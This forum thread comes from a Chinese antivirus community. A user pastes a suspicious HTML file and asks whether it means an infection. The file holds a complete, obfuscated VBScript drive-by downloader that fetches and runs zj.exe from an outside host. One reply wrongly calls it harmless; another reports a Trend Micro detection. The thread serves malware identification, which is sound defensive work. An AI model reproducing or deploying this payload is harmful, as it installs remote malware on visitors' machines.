瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 今天自己找的一个似乎有问题的文件,请高手指点!

1   1  /  1  页   跳转

今天自己找的一个似乎有问题的文件,请高手指点!

今天自己找的一个似乎有问题的文件,请高手指点!

用记事本打开为全文本,但是用伞能查出来,由于本人对语言方面一壳不通,但是又想知道是不是我中毒了,所以还请高手分析下,是个网页文件,用记事本能打开
全文如下,

<html>
<body>
<script language="JavaScript">
function mymid(ss) {
return ss.substring(2);}
</script>
<script language="VBScript">
S="6f6e206572726F7220726573756D65206E6578740d0a6375726C3d22687474703A2F2f646f776E2e646a373738382E636E2F"
S=S+"7A6a2E657865220d0A666e616d65313d227a6a2E657865220D0a666e616d65323D227A6A2E766273220D0a53657420646620"
S=S+"3D20646F63756d656E742e637265617465456c656d656e7428226F626A65637422290d0A64662e7365744174747269627574"
S=S+"652022636C6173736964222c2022636C7369643a42443936433535362D363541332D313144302d393833412D303043303446"
S=S+"433239453336220D0a7374723d224D6963726F736f66742E584d4C48545450220D0A5365742078203D2064662e4372656174"
S=S+"654F626A656374287374722C2222290d0a43313d2241646F220d0A43323d2264622E220D0A43333d22737472220d0a43343D"
S=S+"2265616d220d0a737472313d43312643322643332643340D0a737472353D737472310D0A7365742053203d2064662e637265"
S=S+"6174656f626A65637428737472352c2222290d0A532e74797065203D20310d0A737472363d22474554220d0A782E4f70656E"
S=S+"20737472362c206375726c2C2046616c73650D0A782e53656e640D0A73313D22536372697074220d0a73323D22696e672E22"
S=S+"0d0a73333d2246696C65220d0A73343d2253797374656d4F626a656374220d0A73303D73312b73322b73332b73340d0A7365"
S=S+"742046203D2064662e6372656174656F626A6563742873302c2222290D0A73657420746D70203D20462e4765745370656369"
S=S+"616C466F6C6465722832290D0A666e616d65313D20462e4275696c645061746828746d702C666E616d6531290D0A532E6F70"
S=S+"656e0d0A532e777269746520782e726573706f6e7365426f64790d0A532e73617665746F66696C6520666e616D65312C320d"
S=S+"0a532e636C6F73650d0a666E616d65323d20462E4275696C645061746828746D702c666E616d6532290d0A53657420747320"
S=S+"3D20462E4f70656e5465787446696c6528666E616d65322c20322c2054727565290d0a74732e57726974654c696e65202253"
S=S+"6574205368656C6C203d204372656174654F626a656374282222577363726970742E5368656C6c222229220d0A73716C3D22"
S=S+"5368656C6c2E52756e282222222B666E616d65312B22222229220D0a74732e57726974654c696e652073716C0D0A74732E57"
S=S+"726974654C696E652022736574205368656c6c3d4E6f7468696e67220d0a74732E636c6f73650D0A696620462E46696c6545"
S=S+"786973747328666e616D6531293D74727565207468656E0d0a696620462e46696C6545786973747328666E616d6532293D74"
S=S+"727565207468656e0d0a202020207368613D225368656C6c2e417070220d0A202020207368623d7368610d0a202020207365"
S=S+"742051203d2064662e6372656174656f626A656374287368622b226C69636174696F6e222C2222290d0a20202020512e5368"
S=S+"656C6C4578656375746520666E616D65322c22222c22222c226F70656e222C300d0a656e642069660d0A656e642069660D0A"
flag_type="vbs"
D=""
DO WHILE LEN(S)>1
    k="&H"+ucase(LEFT(S,2))
    p=CLng(k)
    m=chr(p)
    D=D&m
    S=mymid(S)
LOOP
if flag_type="vbs" then
  EXECUTE D
end if
if flag_type="html" then
  document.write(D)
end if
</script>
<script language="javaScript">
if (flag_type=="js") {
eval(D);}
</script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/935897.js"></script>
</body>
</html>

[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; TheWorld)

附件附件:

下载次数:119
文件类型:application/octet-stream
文件大小:
上传时间:2007-8-26 17:51:08
描述:

最后编辑2007-08-26 18:14:33.030000000
分享到:
gototop
 

貌似没啥问题,http://js.users.51.la 这个地址也是无效的..
可能只是文本的部分内容符合瑞星的病毒特征吧
gototop
 

刚才下了趋势杀,发现VBS_PSYME.ANY ~
在趋势的官方首页摆者高危,不明白为什么rising 没动作,哎`
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT